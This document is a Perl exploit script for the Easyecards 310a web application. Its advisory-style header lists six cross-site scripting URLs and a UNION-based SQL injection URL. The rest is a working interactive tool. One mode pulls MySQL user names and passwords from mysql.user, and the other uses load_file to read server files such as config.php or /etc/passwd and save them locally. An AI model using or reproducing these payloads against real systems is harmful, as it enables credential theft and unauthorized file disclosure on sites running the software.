#!/usr/bin/perl
#----------------------------------------------------------------

#Script : Easyecards 310a

#Type : Multipe Vulerabilities ( Xss / Sql Injection Exploit / File Disclosure Exploit )

#Variable Method : GET

#Alert : High

#----------------------------------------------------------------

#Discovered by : Khashayar Fereidani a.k.a. Dr.Crash

#My Offical Website : HTTP://FEREIDANI.IR

#Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t] com

#----------------------------------------------------------------

#Khashayar Fereidani Offical Website : HTTP://FEREIDANI.IR

#----------------------------------------------------------------

#Script Download : http://myiosoft.com/download/EasyE-Cards/easyecards-310a.zip

#----------------------------------------------------------------
#Xss 1 : http://Example/?ResultHtml=<script>alert('xss')</script>

#Xss 2 : http://Example/index.php?step=2&dir=<>>>>''"<script>alert('xss')</script>

#Xss 3 : http://Example/index.php?step=2&SenderName=<>>>>''"<script>alert('xss')</script>

#Xss 4 :
http://Example/index.php?step=2&RecipientName=%3C%3E%3E%3E%3E%27%27%22%3Cscript%3Ealert(%27xss%27)%3C/script%3E

#Xss 5 : http://Example/index.php?step=2&SenderMail=<>>>>''"<script>alert('xss')</script>

#Xss 6 :
http://Example/index.php?step=2&RecipientMail=%3C%3E%3E%3E%3E%27%27%22%3Cscript%3Ealert(%27xss%27)%3C/script%3E

#----------------------------------------------------------------

#SQL Injection :

#SQL 1 :
http://Example/index.php?show=pickup&sid=99999'+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13/*

#----------------------------------------------------------------

Tnx : God

HTTP://IRCRASH.COM

#----------------------------------------------------------------

use LWP;
use HTTP::Request;
use Getopt::Long;

sub header
{
print "

---

•        Easyecards 310a Exploit               *
  

---

*Discovered by : Khashayar Fereidani *
*Exploited by : Khashayar Fereidani *
*My Official Website : http://fereidani.ir *
****************************************************";
}

sub usage
{
print "

• Usage : perl $0 http://Example/

---

";
}

$url = ($ARGV[0]);

if(!$url)
{
header();
usage();
exit;
}
if($url !~ /\//){$url = $url."/";}
if($url !~ /http:\/\//){$url = "http://".$url;}
sub xpl1()
{
$vul =
"?show=pickup&sid=99999'+union+select+0,concat(0x4c6f67696e3a,user,0x3c656e64757365723e,0x0d0a50617373776f72643a,password,0x3c656e64706173733e),2,3,4,5,6,7,8,9,10,11,12,13+from+mysql.user/*";
$requestpage = $url.$vul;

my $req = HTTP::Request->new("POST",$requestpage);
$ua = LWP::UserAgent->new;
$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
#$req->referer($url);
$req->referer("IRCRASH.COM");
$req->content_type('application/x-www-form-urlencoded');
$req->header("content-length" => $contlen);
$req->content($poststring);

$response = $ua->request($req);
$content = $response->content;
$header = $response->headers_as_string();

@name = split(/Login:/,$content);
$name = @name[1];
@name = split(/<enduser>/,$name);
$name = @name[0];

@password = split(/Password:/,$content);
$password = @password[1];
@password = split(/<endpass>/,$password);
$password = @password[0];

if(!$name && !$password)
{
print "\n\n";
print "!Exploit failed ! :(\n\n";
exit;
}

print "\n Username: ".$name."\n\n";
print " Password: " .$password."\n\n";

}

#XPL2

sub xpl2()
{
print "\n Example For File Address : /home/user/public_html/config.php\n Or /etc/passwd";
print "\n Enter File Address :";
$fil3 = <stdin>;

$vul =
"?show=pickup&sid=99999'+union+select+0,concat(0x4c6f67696e3a,load_file('$fil3'),0x3c656e64757365723e),2,3,4,5,6,7,8,9,10,11,12,13+from+mysql.user/*";
$requestpage = $url.$vul;

my $req = HTTP::Request->new("POST",$requestpage);
$ua = LWP::UserAgent->new;
$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
#$req->referer($url);
$req->referer("IRCRASH.COM");
$req->content_type('application/x-www-form-urlencoded');
$req->header("content-length" => $contlen);
$req->content($poststring);

$response = $ua->request($req);
$content = $response->content;
$header = $response->headers_as_string();

@name = split(/Login:/,$content);
$name = @name[1];
@name = split(/<enduser>/,$name);
$name = @name[0];

if(!$name && !$password)
{
print "\n\n";
print "!Exploit failed ! :(\n\n";
exit;
}

open (FILE, ">".source.".txt");
print FILE $name;
close (FILE);
print " File Save In source.txt\n";
print "";

}

#XPL2 END
#Starting;
print "

---

•        Easyecards 310a Exploit               *
  

---

*Discovered by : Khashayar Fereidani *
*Exploited by : Khashayar Fereidani *
*My Official Website : http://fereidani.ir *

---

• Mod Options : *
• Mod 1 : Find mysql username and root password *
• Mod 2 : Save PHP config source in your system *
  ****************************************************";
  print "\n \n Enter Mod : ";
  $mod=<stdin>;
  if ($mod=="1" or $mod=="2") { print "\n Exploiting … \n"; } else { print "\n Unknown Mod
  ! \n Exploit Failed !"; };
  if ($mod=="1") { xpl1(); };
  if ($mod=="2") { xpl2(); };